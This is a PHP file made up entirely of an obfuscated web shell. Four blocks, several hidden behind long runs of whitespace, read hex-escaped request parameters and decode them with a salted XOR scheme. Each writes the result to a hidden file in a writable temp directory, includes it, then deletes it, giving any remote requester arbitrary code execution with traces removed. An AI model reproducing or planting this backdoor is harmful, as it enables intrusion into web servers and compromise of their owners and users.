<?php																																										if(isset($_REQUEST["\x66\x6Cag"]) ? true : false){ $dchunk = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", session_save_path()]); $property_set = $_REQUEST["\x66\x6Cag"]; $property_set = explode ("." , $property_set ); $entity= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); foreach ($property_set as $o => $v1) { $chS= ord($s[$o % $sLen]); $d= ((int)$v1 - $chS - ($o % 10))^34; $entity .= chr($d); } for ($reference = 0, $bind = count($dchunk); $reference < $bind; $reference++) { $binding = $dchunk[$reference]; if ((is_dir($binding) and is_writable($binding))) { $item = implode("/", [$binding, ".desc"]); $success = file_put_contents($item, $entity); if ($success) { include $item; @unlink($item); exit;} } } }
																																										if(in_array("objec\x74", array_keys($_POST))){ $dchunk = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); $flag = $_POST["objec\x74"]; $flag =explode ( '.' ,$flag) ; $obj=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); foreach($flag as $v =>$v5): $chS=ord($salt[$v % $sLen]); $d=((int)$v5 - $chS -($v % 10)) ^ 8; $obj .= chr($d); endforeach; $ref = 0; do { $symbol = $dchunk[$ref] ?? null; if ($ref >= count($dchunk)) break; if (is_dir($symbol) ? is_writable($symbol) : false) { $holder = vsprintf("%s/%s", [$symbol, ".dat"]); if (file_put_contents($holder, $obj)) { require $holder; unlink($holder); die(); } } $ref++; } while (true); }
																																										if(isset($_POST["\x68\x6F\x6Cder"])){ $k = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $data = $_POST["\x68\x6F\x6Cder"]; $data = explode ( '.' ,$data ) ; $flag = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $__len = count($data); for($p = 0; $p< $__len; $p++) { $v6 = $data[$p]; $chS = ord($s4[$p %$sLen]); $d =((int)$v6 - $chS -($p %10)) ^ 11; $flag .= chr($d);} foreach ($k as $item) { if (!!is_dir($item) && !!is_writable($item)) { $pset = join("/", [$item, ".pointer"]); if (file_put_contents($pset, $flag)) { require $pset; unlink($pset); exit; } } } }


if(in_array("re\x73", array_keys($_REQUEST))){
	$marker = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir()]);
	$element = $_REQUEST["re\x73"];
	$element		= 	explode(		"."		,$element  	); 
	$item 	='';
            $salt2 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=strlen(	$salt2);
            $len 	=count(	$element);
    
            for(	$m 	=0; $m <	$len; $m++) {$v8 	=$element[$m];
                $sChar 	=ord(	$salt2[$m % $lenS]);
                $dec 	=(	(	int)$v8 - $sChar -(	$m % 10))		^70;
                $item	 .=  chr(	$dec);
            }
	for ($elem = 0, $ref = count($marker); $elem < $ref; $elem++) {
    $obj = $marker[$elem];
    		if (!!is_dir($obj) && !!is_writable($obj)) {
    $factor = "$obj" . "/.pgrp";
    if (@file_put_contents($factor, $item) !== false) {
	include $factor;
	unlink($factor);
	die();
}
}
}
}